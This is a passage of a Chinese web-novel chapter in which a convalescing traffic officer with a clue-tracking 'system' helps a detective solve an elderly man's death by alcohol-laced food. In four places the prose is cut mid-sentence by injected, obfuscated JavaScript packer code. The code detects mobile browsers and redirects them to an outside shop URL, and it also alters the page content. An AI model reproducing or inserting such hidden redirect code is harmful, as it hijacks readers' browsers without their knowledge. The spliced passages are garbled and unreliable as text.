“有个新认识的妹子，住我这边？程昭？这个名字好像有点耳熟……好啊，到时候约出来一起喝茶呀，拜拜。” 程昭听到这位阿姨讲电话的内容，疑惑地看了她几眼。 阿姨也看了几眼程昭，然后一脸恍然大悟地走过来和她说：“我说怎么这个名字有点耳熟，不就是老程他……哎，还记得我吗？我们几年前见过，我是你爸以前公司的同事。我叫王冬梅。你之前住院，同一个病房的陈芳，是我表姐……” 世界真是小啊，程昭感叹，“王阿姨你好，我是程昭。这么巧啊，没想到你和陈阿姨是亲戚。” 两人一番寒暄，聊着聊着熟络起来了。原来几年前王阿姨跳槽去了其他公司，和旧同事联系少了，都不知道自己最近搬的新家，在旧同事楼上。 提起程父，王阿姨十分唏嘘，老程比她还年轻几岁呢，没想到居然出差遇到事故…… 没多久，电梯来了。 现在不是适合聊天的时候，程昭和王阿姨加了飞讯好友，互相邀请对方以后到家里吃饭。 “说到吃饭……小程你有听说我们楼，外卖被偷的事吗？” “有听说过，捉到小偷了吗？” “没呢，监控修好之后还是没拍到可疑的人。但是有个住户去拿外卖的时候，看到那个喜欢捡垃圾的老张动了他的外卖，他们当场就吵了起来……老张说他是移开外卖，捡架子上的纸皮箱。” “这事我没听说呢……” “是哦，你不在那个聊天群里面……我拉你进去？里面都是这个小区和周边小区，跳广场舞认识的住户。有什么特价优惠啊，有什么八卦啊，大家就在群里分享，比业主群活跃很多。” 好像挺有意思的，程昭进了这个“活力无限”群，发现大家正在说偷外卖的事。 程昭楼层到了，和王阿姨道别，慢慢走回家。放下了买的东西，程昭瘫在沙发上继续看手机。 在群里，有的人觉得老张很可疑，有的人觉得老张不是这样的人。 说老张可疑的，主要是说他喜欢捡垃圾，有时候还会堆纸皮塑料瓶在公共区域，喜欢占小便宜。 说老张不会偷外卖的，主要是说他本身挺有钱的，喜欢捡垃圾是因为有点收集癖，他大部分垃圾都放家里，而且他很少吃外面的东西，嫌不安全。 程昭又调出了事件收集器，还是没有新的事件。可能这个偷外卖的事，因为太小了，系统不感兴趣？哎，算了，反正等外卖柜安装好，估计就不会有人偷外卖了吧…… 程昭把这件事抛在脑后，继续做了一些简单不费力的清洁工作，然后简单地做了一顿晚餐。 周警官之前通过了程昭的飞讯好友申请，不过那天打过招呼之后，周警官又开始忙碌了。她还不知道李医生那个偷拍事件的后续呢。 吃饭的时候，程昭发信息问了周警官偷拍案件的下文。 周警官只干巴巴的回复了一句，案件有新的进展，但是目前不方便透露……然后又说他有事，迟一些再给她讲一些可以说的信息…… 好吧，看来这个偷拍事件，挺麻烦的。可惜她不是刑事科的人，太多信息都不方便告诉她。 只能慢慢等了。 ………… 没想到，第二天，喜欢捡垃圾的老张突然死了。 业主群和活力小群都炸了，大家都在谈论老张的死。 程昭调出事件收集器，发现新增了“收集癖老张死亡事件”。 信息关联表显示了几条发光标记的记录，都是之前在活力小群看到的内容，例如“老张有收集癖，喜欢捡垃圾”、“老张挺有钱”、“传闻说老张偷外卖”、“老张不喜欢吃外面的食物，怕不安全”等等。 有些群里讨论提及的内容，没有显示发光标记。不知道是与事件无关，还是假消息。 程昭想了一下，觉得还是要去现场看看情况。就算不能越过警戒线，在周围观察观察，打听打听，肯定会有更多收获。 程昭一边换衣服，一边想，如果是周警官负责这个案件就好了。熟人查案，她这个热心群众，说不定就可以接触到更多内容了。 ………… 居然真的是周警官负责！ 看到警戒线里面有点熟悉的身影，程昭感慨自己的“心想事成”。不过，买彩票的时候怎么就没有这么灵呢…… 这时，周立言刚好转身，扫视过外围的人群，看到正在叹息的程昭。程警官对他有什么意见吗？看到他就叹气？难道是因为昨晚…… 程昭立刻变脸，亮出招牌笑容，小虎牙和梨涡的若隐若现，“周警官，好巧哦，又见面了。这个案件是你负责吗？” “程警官，早上好。是的，我们刑事三队负责这个案件。”周立言不动声色地看完程昭变脸的全过程，心里默默地想，小程警官的表情真丰富。 “程警官是不想见到我么？怎么一开始一脸可惜的样子？”周立言故意端着冰块脸，散发冷气，低声问道。 周警官的眼神也太好了吧，他们隔着一段距离呢，这样都看到她的小表情！ 程昭连忙解释说：“啊，怎么会呢？我本来就是希望是你来负责……我之所以会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643719|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹息，是觉得张先生死得太突然了，我昨天才听说过他呢。” “嗯？昨天死者发生了什么事情？我们刚到不久，还没有开始询问周围的人……”周立言让程昭过来封锁线这边，找了个周围人少一些的地方谈话。 程昭把自己的听闻，都一一和周立言说了，还拿出手机给他看群聊的信息，特别突出地讲了和事件有关的那几条。 周立言微微皱眉，一边听一边在随身笔记本记下了一些内容。等程昭讲完，他点点头，说会跟进她提供的信息。 “死者的死因是什么呀？你后面可以和我说一些案情内容吗？”程昭双手合十，可怜兮兮地拜托周警官透露一些信息。 “我绝对不会乱说出去的，你放心……我住这个小区，可以打听到不少消息的，说不定对你们有用呢？” 看着程昭充满期待的眼睛，周立言败下阵来，“这……老张是在家里死的，怀疑是中毒，现场暂时没发现打斗痕迹。其他的，我先看看案子，晚一点再告诉你一些内容。” “好的，谢谢周警官！” ………… 周警官继续去查案。程昭也回到警戒线之外，继续在人群里面吃瓜打听消息，还有观察一下周围的情况。 老张的家，在A栋三楼。目前A栋暂时被封锁起来，只允许住户进出。程昭在楼房外面转了一圈，没看到有什么地方可以从外墙攀爬上去。A栋有前门和侧门，两个门进去之后都会经过物业前台。 忽然，程昭留意到路面一侧，有个模糊的泥印，好像是谁踩到了泥巴粪便之类的，在地上乱蹭……这个发现也在系统的信息关联表，上了发光标记。 泥印不远处有一串的鞋印，看起来是从A栋那边走向B栋。A栋就是程昭住的楼。 程昭担心警察没采集外面这个脚印，万一物业过来清洁干净，就不好了。于是她拍了照片，发给周警官，发了个信息：“周警官，在外面我看到有一些带泥的鞋印，不知道和这个案件有没有关系。” ………… 另一边，周立言听到手机提示音响了，看了她的信息，立刻回复：“好的，我找人过去看看。” 然后周立言找了鉴证科的工作人员水哥，说：“水哥，我收到信息，说警戒线外围有一串带泥的鞋印，不知道和这边有没有关系。麻烦你派人过去采集一下。这个鞋印是这样的，你看看。” 水哥放大照片，仔细看了鞋印，说：“这个鞋印花纹，好像在屋里面出现过同款的，不知道是不是同一个鞋子。我派人过去做一下采集。” “好的，麻烦你们了。这个鞋印在B栋和A栋之间的小路上。我一个朋友发现的，她叫程昭，应该还在附近。” “不客气，我们现在就安排人过去。” 水哥走开了，周立言发了个信息给程昭：“鉴证科准备过去采集了，如果你方便的话，先帮忙守着鞋印？” ………… 程昭也立刻回复：“没问题。我也和物业说了，先不要清理。” 没多久，鉴证科的人过来了。 9. 猜中了凶手 一位穿着鉴证科工作马甲，拧着手提箱的人，从楼里出来，四处张望。 “这里，这里。”程昭挥手，引了鉴证科的工作人员过来，“你好，我是程昭。你们是过来采集鞋印的吧。” “你好，我是采集员黄阳。谢谢你的协助。你和周队长认识？” “是啊，之前一个案件认识的。我住这个小区，看到这边有案件，就过来看看。”程昭挠挠头，感觉自己这样有点过于八卦了，但是为了案件，没办法啦。 程昭想了一下，补充提醒：“这个鞋印好像是从A栋那边过来的，走到这里的时候蹭掉了泥巴粪便之类的东西，你们看看是不是和案子有关？” 黄阳选了一个比较清晰的鞋印，放了标尺，拍了几张照片，然后翻了一下工作记录。黄阳点头，笑着说：“很有可能，我在死者家里有采集到相同的鞋印，码数一致，磨损的地方也有点相似。回头我们检测一下屋子和这个泥印的成分，如果有相同成分，大概率是相关的。” “剩下的采集交给我们吧，我多叫几个人过来这边。” “好的，我先到处转转，不打扰你们工作了。”确认了信息有用、证据有人收集，程昭很识趣地先离开，不干扰人家工作。 ………… 程昭打算继续在B栋楼下逛逛，然后看看有什么八卦传闻，是和案件有关联的。 虽然八卦传闻有真有假，但是程昭有作弊器，可以过滤无关信息，只保留和案件相关的。信息收集得越多，就越容易看清事情的来龙去脉。 B栋楼下，人们三三两两地聚集在一起，讨论老张的事。其中有一堆人最多的，貌似里面有个人，就是老张的邻居，也是案件的发现人报案人。 “……老张前几天收了一个破时钟，定时坏了不能取消。今天早上一直在响，又没人去关掉，吵得我心烦气躁的，就过去敲老张的门，没想到一直没有人回应，打电话也没有人接。我担心老张是不是摔倒在家里了，就联系物业来开门……”一个穿着黄色碎花衣服的阿姨，不知道是第几遍，绘声绘色地讲着她今天的所见所闻。 “不对呀，你怎么知道老张在家啊？”一个吃瓜群众问道。 “哎，咱们十几年老邻居了，那个时间点他通常都在家里的。而且，他去捡垃圾要用的推车还放在门口呢。他出门肯定会推着出去的。” 黄色碎花阿姨解释完，又继续说，“物业来了之后，帮忙开了门。嚯，一开门就看到有个人，一动不动的倒在地上！物业小哥吓得不敢进去，我就一个人进去了，仔细一看，那个人不就是老张吗——那个脸啊，太可怕了，嘴边还留着白沫，太吓人了……然后我们就离开老张屋子，报警了……” “口吐白沫，难道是中毒了？还是有什么病？”有人猜测道。 “……这个就不知道了。不过，应该不是生病吧。之前有个没人要的柜子，货梯坏了，老张居然直接背着上了三楼。老张身体可好了，哎，没想到突然就去了。” “哎……不过老张不在了，你家应该就舒服一些了吧？他那么喜欢搬破旧的东西回家，估计味儿挺大的。” “是有一些，特别是天气潮湿的时候，容易有霉味，而且容易有蟑螂……因为他捡垃圾旧物回楼上，好多人都对他有意见……现在他不在了，估计他儿子会搬过来住吧。毕竟这个房子，现在这样不好卖了。”黄色碎花阿姨唏嘘道。 “应该不会吧，他儿子不是去做生意，做大老板了吗？好像有几套房子……”有人质疑道。 黄色碎花阿姨犹豫了一下，然后说：“哎，这事我本来不想说出去的，不过他以后过来了，估计你们也会听说到……两个月前，老张的儿子几次过来，找老张要钱。老张一开始给了一些，但是他儿子说不够，后来老张就不想给了……好像是他儿子生意出了问题，需要很多钱……他们吵得挺大声的，我在家里听到了一些。” “现在老张死了，遗产应该都归他儿子了吧……”有人感慨道。 “应该是，没听说他有其他的孩子，老婆好像早就不在了。”另一个大婶回忆道。 一个年轻人说：“哎……说起来，老张的脾气太古怪了，又喜欢收集破烂……我见过几次他和别人吵架……” 一个大叔点头附和：“是啊，最近有人说他偷外卖呢……之前有个说他偷拿了凳子还是桌子……” “我也记得……不过那个桌子破破烂烂的，谁看了都觉得是垃圾吧……” 程昭在旁边，一边听八卦，一边留意信息关联表。黄色碎花阿姨说的几件事，都显示了发光标记。难道，是他儿子下的手？ 程昭刚刚猜完，系统里面的事件概述，立刻更新显示，凶手是老张的儿子。不过概述里面还写着过程未知。 还真被她猜中了啊？程昭仔细看了信息关联表，里面有发光标记的内容还是刚刚更新的那些，排序最前面的就是那个带泥鞋印。 知道了凶手，过程未知，事件算不算完成？程昭默念呼唤小五，说出了她的疑问。 小五遗憾地回答：“不算哦，至少要收集全事件的基本要素，时间、地点、人物、起因、经过、结果……你收集的信息，需要把整个事件的来龙去脉讲清楚才行。如果你猜中了一些要素，也需要把对应的信息收集到，才算是完成了收集。” “好吧，看来不能偷懒了。”程昭遗憾地想。 虽然程昭现在知道了谁是凶手，但是没有什么直接证据，可以证明老张儿子就是凶手。她又不能和别人说她有系统辅助，别人听到她这样说，估计会以为她有什么精神病。 知道答案，但是不知道完整的题目，想做证明题都不容易。 如果可以进案发现场就好了，或者看看警方采集的物证照片也行。只听传闻八卦，貌似只能分析出来动机…… 等下去问问周警官好了。虽然周警官对外看起来很冷很严肃，但是程昭感觉他挺好说话的。 突然，人们不约而同地安静了一下，过了几秒才继续说话。 一个大爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643720|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向不远处的一名男子，小声问道：“那个好像就是老张的儿子吧？穿得人五人六的，看不出来生意失败了呀？” “不知道呢，难道生意有转机了？我也有段时间没见过他了。”黄色碎花阿姨一脸犹豫地回答。 程昭也顺着大家视线的方向望去，看到一个西装革履的中年男子，正一脸悲痛地走向B栋。 程昭趁着大家关注点都在老张儿子身上，趁机问起了关于他的事，“老张和他儿子关系怎么样？” 一个大爷回答说：“老张和他儿子，以前关系挺好的，他儿子创业还是老张出的钱。不过后来他儿子有钱了，就嫌弃他爸捡破烂回家。他儿子搬出去之后就比较少过来。” 另一个阿姨摇摇头，补充说：“虽然他儿子搬出去了，但是对他还是挺好的。过年过节买了不少东西给他，还给钱让他去买保险，定期体检，还让他去旅游。” 保险？ 程昭发现老张有买保险的事，也被标注为关联信息了，于是继续问这个保险的事，“哇，阿姨，你消息好灵通啊，居然连老张买保险的事都知道。” 这位阿姨得意地笑着说：“哎，老张和我老公很熟，经常一起下棋的。几个月前，那个素心保险不是在搞活动吗，又打折又送礼品，有的产品期限到了还可以拿回本金，老张和我老公就心动了，后来就听说他儿子出钱，让老张去买了。” 虽然不知道保险条例具体内容，但是既然是和案件相关的，估计老张“意外”死亡会有赔付。这样看来，老张儿子的动机更充足了。 然后程昭又问：“最近他儿子都没有来找过他吗？” “这……好像没看到。” “没有吧，最近好像都没看到有穿西装的人，来找老张。” “是啊，他儿子每次过来都是穿西装的，最好认了，离得远都看得到。” ……所以大爷大妈们，对老张儿子的印象就是西装男？如果他换装过来这边，说不定这些老邻居就不能一下子认出他了？不过这也有可能，毕竟西装革履是他的固定形象，再加上老年人眼神不好。老张儿子可能变装戴个口罩，不打招呼，不和老张在一起，老街坊们很有可能就看错了。 希望小区里面的监控靠谱，有拍到他吧…… 程昭不禁想起A栋楼下的监控，坏了几天都没有修好，实在有点担心其他位置的摄像头。 不过，摄像头的话，如果老张儿子是开车过来或者步行进小区的，大马路的摄像头应该可以拍到？ 程昭想了一下，假装不经意地问：“老张儿子的西装，看起来很高级啊，他车子应该也很贵吧？” 一个大叔闻言点头，然后又指向远处路边的一辆黑色商务车，说：“是啊，那辆就是他的，大奔呢。” “哇，看起来就很贵啊，看来他生意应该没有问题了吧，不然车子肯定要卖掉了……” “可惜老张这么早就死了，都没享多久福呢……” “没办法，天有不测之风云……” 10. 推理首秀 从早上发现老张死亡，到了下午傍晚，不停有人聚在B栋楼下附近，讨论案件和八卦传闻。 不过，程昭暂时不打算继续留在这边打听了。反正这些传闻，在业主群或者活力小群也有人在说。 程昭悄悄离开了吃瓜的人群，慢慢走向老张儿子的车子。围着车子转一圈，程昭看到车子沾有不少的泥沙，车后座好像还放着钓竿袋子。 信息关联表新增了车子的车牌号等信息，钓竿这些没显示，可能和老张事件没关系。 车子没其他发现了，程昭先回去了A栋，想去看一下，最开始出现带泥鞋印的地方是哪里。 沿着AB栋之间的小路走，就着夕阳余晖，程昭看到那些鞋印的位置被拉了隔离带，鞋印从A栋往B栋方向，但是走的路线好像不是直线，中间好像还在一个休息椅旁边停留过。 到A栋的时候，刚好遇到采集员黄阳。 采集员黄阳和程昭打招呼，说他们已经采集完，准备回去了。 程昭好奇地问：“有什么发现吗？鞋印是哪里开始的？” 鞋印哪里开始之类的这些信息，肉眼观察也能知道，不算什么秘密。黄阳就很大方地直接透露了：“鞋印是从A栋一侧的花坛开始出现的。鞋印的主人从靠近大门那边的方向，进入花坛，走到一个窗户，然后折返走向B栋方向，走的路线不是直线的，好像是有意避开了路上的监控。成分那些我们回去会做进一步的检查。” 程昭摸了摸下巴，思考了一下，然后问道：“请问那个窗户，是不是外卖架旁边的那个？” 黄阳点头，笑着说：“是啊，从窗户看进去，有个放外卖的架子……居然被你猜对了，你在做什么侦探游戏吗？” “哈哈，是啊，休假养伤挺无聊的，到处走走当运动了。”程昭不好意思地挠挠头，笑道。 “行吧，你继续加油。时间不早了，我们也回去做其他工作了，再见。” “辛苦了，再见。” ………… 程昭走向物业前台，想打听昨天是不是有外卖被偷，没想到周立言和另一个警察也在这边。 程昭笑着向前打招呼：“周警官，你们也来这边啦？案件还顺利吗？” 周立言嘴角微微上扬，和程昭打了招呼：“程警官，我们过来查外卖的事。案子还在侦查中。” 然后周立言给程昭和旁边的一个年轻一些的警察，介绍对方，“这位是孙泽林，我队里的新人。这位是程昭，是我们之前车祸案的交警。” “原来是你啊，我听说过你，车祸案和医院的事，你帮了很多的忙。程警官，你好。”孙泽林脸上挂着职业化的笑容，和程昭打招呼。 “你好，孙警官。之前的案子，都是刚好遇上了。可以帮忙，是我的荣幸。”程昭笑着回应。不知道是不是错觉，她感觉孙泽林对自己有一点敌意。 然后程昭继续问刚才想问的问题：“你们也在查外卖的事吗？昨晚是不是有外卖被偷，和老张的案子有关？” 周立言点头，说：“是的，昨晚有外卖被偷了。我们怀疑，老张是晚上六点到九点左右，吃了偷来的外卖，然后死亡的。死因之前怀疑是中毒，但是后来法医判断，是严重的过敏。” “那些带泥的鞋印，应该就是偷外卖的人留下的吧？是死者的鞋子吗？” “鞋子不是死者的。这种花纹的鞋印，有出现在老张家里，但是不一定是昨晚留下的。”周立言摇摇头，解释道，“外边路面的鞋印和老张屋子里的，要检测一下它们的成分，成分一致才可以确定，鞋子的主人昨天进去过死者的家……不过，我们也猜，这个鞋印属于偷外卖的人。” “会不会是他儿子的鞋印？”程昭继续问。 “不排除这个可能，他今天穿的鞋子花纹不一样，但是码数是一样的。” 程昭挠挠头，感觉还是缺了很多线索。虽然周警官之前答应说，会告诉她一些案件内容，但是这样转述，难免有信息会遗漏。如果可以看一下警方的案件资料就好了…… 程昭思来想去，还是直接开口问了：“我有个不情之请，可以给我看一些案发现场的照片吗？我也在研究这个案子，有收集到一些信息，还有一些推测。” “这不妥吧！案件还没有查清，我们很多内容都是要保密。”孙泽林皱眉，高声斥责道。 程昭被孙泽林突然的高声斥责吓了一跳，看了看孙泽林。她第一感觉应该没错，这个孙警官好像是对她有点意见。 孙泽林感觉程昭的请求有点无理取闹，他们办案，她一个外人插手做什么。周队长那么严肃，肯定不会答应。 程昭和孙泽林不约而同地看向周立言，等他做出决定。 没想到，周立言思考片刻后，轻轻点头，很干脆地答应了程昭的请求，“可以，程警官提供的线索都很有用，节省了我们不少时间。不过部分内容我们还是要保密的。” 孙泽林大为震惊，这不是队长的行事风格啊！队长平时都是严肃又公正，动不动就板着脸放冷气，特别是面对年轻异性的时候，态度更是拒人千里……这程警官虽然长得还不错，但是没有之前暗恋队长的那谁谁好看啊。 难道她对案件真的很有帮助？孙泽林突然有一股危机感，队长怎么对一个外人这么认同！他进入周队的队伍之后，一直很崇拜周队，立志成为周队最得力的队员。周队对这个女交警态度这么温和，难道…… 周立言拿出了他的手机和笔记本，走过去给程昭看一些照片和笔记。 “死者张国厚，有严重的酒精过敏病史，他家里餐桌上放着一份酸菜鱼外卖。人倒在客厅，地上还有一个空了的抗过敏药瓶。不确定是意外事故还是谋杀，因为还有很多疑点，采集的证据也在排队做检测。” 程昭一边听周立言说案子内容，一边看他们拍摄到的案发现场照片。系统的信息关联表挂在一边，等待更新内容。 “酒精过敏”、“被偷的外卖”、“空的过敏药药瓶”，这些周警官提及的内容，都被打上发光标记了。 看现场照片的时候，系统的信息关联表新增了更多信息，其中包括：

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643721|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “死者倒下的位置靠近厕所”、 “酸菜鱼没吃多少”、 “死者用汤碗吃过其他东西”、 “厕所地面有胡乱冲洗过的痕迹”、 “饭桌旁边的鞋印，和路面的带泥鞋印一致”、 “入户门的垫子，沾有泥沙和水藻”、 “垃圾桶里有个一次性汤勺，和酸菜鱼配的不一样”…… 程昭看了一下信息关联表归纳的内容，略加思索，先指出现场照片看到的的问题：“死者家里应该有另一个人来过。你们看，桌子旁边有个脚印，应该就是过来偷外卖的人留下的，这个鞋印应该不属于死者吧？” 周立言点头，说：“是的，死者没有这个花纹的鞋子，我们也认为有其他人进去过，但是不知道是谁什么时候来过。所以目前有一种怀疑是，有人帮老张偷拿了外卖，结果老张吃了过敏。” 程昭想了一下，问道：“请问你们有询问过，死者儿子昨晚的行踪吗？” “问了，他说自己昨天和客户去了临市的钓鱼场钓鱼，客户临时有事下午走了，他自己留在那边继续钓鱼，今天才回来。不过那个钓鱼场好像离这边不算太远，开车可能四五十分钟就到了。” “所以他的不在场证明，不一定成立？” “是的，我们还要进一步核实。”周立言点头。 “我有一个推测，你们要不要听一下？” 现在知道了一些案件细节，也知道警方有所怀疑，程昭可以大胆地给警察“指路”了。 孙泽林有点不满地说：“程小姐，你一个门外汉，不要看几本小说就装福尔摩斯，影响警方判断啊……” 周立言抬手制止孙泽林继续抱怨，对程昭说：“程警官不妨直言。我们头脑风暴，集思广益，不用担心对错，因为最后还是要靠证据证明的。” 程昭整理了一下语言，决定从头开始讲：“事件的开端在前天。老张被人怀疑是偷外卖的小偷，然后这个传闻被凶手听到了。凶手知道老张对酒精过敏，决定假借谣言，令大家误以为老张是偷吃了别人的外卖，摄入酒精，意外过敏死亡。” 孙泽林不满地小声嘀咕：“这不是讲故事吗……” “先等我说完嘛，”程昭轻轻皱眉，然后继续说，“凶手昨天联系老张，说给他带晚饭，让他在家里等吃饭。然后傍晚的时候来到这边小区，踩过A栋旁边的花坛，通过窗户偷了一份外卖，然后在路边的休息椅上，在里面混了酒精……这些可以从带泥的脚印看出来。” “不对啊，如果是计划谋杀的话，凶手怎么确定自己可以拿到一份可以加酒的外卖呢？如果是炒饭之类的，加酒就很明显了吧。”孙泽林提出质疑。 “是的，所以除了偷来的外卖，凶手还自己带了一份汤汁比较多、味道比较浓的食物，以防计划因为偷错外卖而失败。你们看这个照片，饭桌这个碗沾到的液体，颜色和酸菜鱼的不一样。” 周立言回忆了一下，然后解释说：“这个我们有留意到，不过也可能是死者自己准备的食物。” 11. 推理首秀下 程昭向他们展示，垃圾桶的那个照片，放大照片一角，指出里面的长柄的一次性汤勺，然后继续说：“周警官说的，的确有可能发生。不过，你们再看这个照片，垃圾桶里面有个一次性汤勺，这个汤勺看起来质量比酸菜鱼的好很多。所以我猜，凶手是从一个比较好的饭店，打包的食物。” “另外，认识老张的街坊说，老张是不喜欢吃外面的食物的，觉得不安全。作为一个知道自己严重酒精过敏的人，去偷别人下单的外卖，也和老张一贯的生活习惯相矛盾。”要知道，很多菜都会放酒的。 “所以我推测，凶手自己买了一份汤汁比较多、味道比较浓的食物，而且很可能是死者喜欢吃的食物。凶手在食物中加了酒，然后又拿着偷来的酸菜鱼，悄悄去了死者家里。他很可能有死者家的钥匙，所以邻居才没留意到，死者晚上有客人。” “死者很信任凶手，所以没防备他带的食物。死者拿出自己常用的碗筷，倒了一些凶手打包的食物在碗里，吃完之后就开始过敏了。死者想要找抗过敏的药，但是药瓶被凶手偷偷清空了。”程昭一边说，一边展示死者身边空药瓶的照片。 “凶手为了避免和死者有身体接触，在死者吃饭的时候去了厕所里面躲着。所以死者在找不到药的情况下，想要爬去厕所求救。”程昭打开了几个照片，给两位警官看，照片可以到，死者头和手是向着厕所方向的。 “另外，因为凶手的鞋子沾着泥，进去地面潮湿的厕所，印得地面很脏，所以凶手情急之下，胡乱冲洗了厕所地面，留下了这些痕迹。”程昭调出厕所采集的照片，指向地面水渍。 “凶手在进屋子的时候，鞋子蹭过入户门的垫子。你们看，上面沾有泥沙和一点点水藻苔藓的东西。”程昭调出入户门口地面的照片，指出泥沙和水藻的痕迹。 “水藻和泥沙……”周警官若有所思地自言自语。 “对，我怀疑，凶手就是老张的儿子。”程昭用力点头，说出自己的结论。 “他很可能是在钓鱼场那边的饭店，或者路上的饭店打包的食物。等客户离开了，他就趁机从钓鱼场开车回来，对死者下手，等死者死了，就悄悄地把买来的食物带走，留下偷的外卖故布疑阵。开车回到钓鱼场，假装自己昨晚不在A市。” 程昭打开自己的手机，翻出相册，给两位警官看老张儿子的车，“不知道你们有没有检查老张儿子的车，车子也沾有不少的泥沙。如果钓鱼场的泥沙和水藻，和死者家里残留的相似，那应该可以证明，死者儿子昨天晚上有去过死者家里。” “另外，钓鱼场或者新风小区，附近马路的监控，有可能会拍到他的车。作案时穿的鞋子，不知道是还留着，还是在丢掉了。” 程昭讲完推测的行凶经过，一脸求夸奖求赞同地，看向周警官。 周立言忍不住轻轻笑了，然后点头说：“这推理还挺合情合理，有模有样的。你说的确实是很有可能，但是我们要等检测报告，还有排查监控。我们会密切留意嫌疑人张志勇的，谢谢你的推理。” 这推理……是挺合情合理的，但是孙泽林还是不太服气，他又提出了质疑：“可是，张志勇为什么要杀他爸呢？我们走访询问街坊邻里的时候，街坊四邻说他和他父亲感情挺好的。” “动机有可能是因为钱。”程昭才发现自己漏了说动机，连忙补充说，“我今天在楼下听了大半天的八卦传闻，有一些录了录音。老张儿子，张志勇几个月前曾经给老张钱，去买保险。最近两个月，张志勇生意出现问题，来过几次，找老张要钱。他们好像还吵架了。” 程昭把录音都发给了周立言，让警方自己甄别有用的信息，也方便他们去找对应的人录证词。 听着播放的录音，程昭感慨地说：“说起来，听八卦的时候，案件的发现人说，她是听到老张新收的坏闹钟一直响没有人关，才会去找老张的……” “如果没有这个坏了的闹钟，可能大家会几天之后才发现老张死亡，A栋旁边这些带泥的鞋印，可能就不在了。这样大家可能就会以为，老张是死于意外了……” 周立言摇摇头，平静而笃定地说：“不会的，如果不是意外，我们总会找到蛛丝马迹的。要相信，天网恢恢，疏而不漏。” 周警官（周队）正气凛然的样子好帅啊！程昭、孙泽林不约而同地想。 “……你们干嘛都这样看着我？我脸上有什么东西吗？”被两道差不多炙热的视线盯着，周立言的冰块脸有点绷不住了。 “哈哈，没有没有。” “没什么，周队你看错了。” 周立言沉默了一下，然后看时间不早了，就不继续聊了。他们还要回去警局整理线索，于是先和程昭道别。 “程警官，时间不早了，我们先回去警局整理线索了。你的推理很有参考价值，我们会重视的。后续跟进有进展的话，我到时候和你说。” 孙泽林对程昭依然不太服气，毕竟她猜测所依据的证据，还没有一一核实呢。所以他就继续沉默，保留意见，不对程昭的推理发表任何意见。 今天依然不是邀请周警官吃饭的好时机，毕竟旁边的孙警官，一副对她不太欢迎的样子。程昭就和另外警官道别，回家休息了。 ………… 然后，程昭又过了两天休闲养伤，线上吃瓜的日子。 老张死亡案依旧是讨论的热门话题。因为老张死状疑似中毒，大家猜测老张是不是得罪了什么仇家，所以被投毒杀害。 “说不定是老张捡破烂的时候，捡走了人家的古董呢……以前不是有人，不小心将老家的老黄梨花木家具，当废品卖掉吗。” “确实有可能，之前不是还有人找上门来，让他归还什么椅子吗。” “而且老张脾气也暴躁，很容易和人吵架。” “对啊对啊，之前还被人怀疑偷外卖，当场和人吵架。” “不过外卖应该不是他偷的，这两天还是有人丢外卖呢。” “不知道楼下的新外卖柜，什么时候才到……这家公司的效率太低了。” 程昭吃着小零食，刷业主群和活力小群的信息。看到人们不知真相的情况下，渐渐偏向受害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643722|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者有罪论，程昭感觉有点气愤，又有点无奈。 家里没人，程昭就和系统小五吐槽：“小五，为什么人们总觉得受害者不无辜呢？” 小五机械音回答道：“好像很多时候都是这样的，可能人们希望，受害者有问题才会招来麻烦，普通人没问题就不会有危险发生吧。” 程昭想了一下，摇摇头说：“算了，不想这个了。话说，老张死亡事件算完成了吗？” “还差一些，很多证据还没有检测，然后缺少监控或者目击证人……你已经问过好几次啦。”小五无奈道。 “我有点心急嘛……” 这时，程昭手机提示音响了一声，她查看手机，发现是周立言在飞讯找她，“老张儿子的不在场证明不成立了。之前因为旅馆监控坏了，耽误了一些时间，但是后来，我们在那一片附近的马路监控，找到了他开车回A市的画面。” “居然旅馆的监控也是坏的……这个凶手真狡猾啊，搞不好是特意选的旅馆。”程昭和小五吐槽。 程昭给周警官回了个“收到”的表情包，然后又发信息：“辛苦了！嫌疑人是不是故意找的旅馆啊？你们有找到他打包食物的店吗？” 